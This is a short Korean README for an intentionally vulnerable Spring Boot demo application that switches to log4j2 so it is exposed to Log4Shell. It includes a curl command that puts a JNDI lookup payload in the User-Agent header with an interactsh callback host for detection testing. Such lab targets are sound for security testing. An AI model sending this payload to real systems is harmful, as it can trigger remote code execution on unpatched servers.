Log4Shell(CVE-2021-44228)에 취약한 간단한 Spring Boot 애플리케이션

• 기본 로깅 프레임워크를 logback에서 log4j2로 변경

애플리케이션은 'User-Agent' 헤더를 로깅하므로, curl과 interactsh-service를 사용하여 취약점을 테스트할 수 있습니다:

curl -A '${jndi:ldap://interactsh-url/a}' http://target-service/

app.interactsh.com에서 DNS 상호작용을 확인할 수 있습니다.

Docker hub

Docker hub로 이동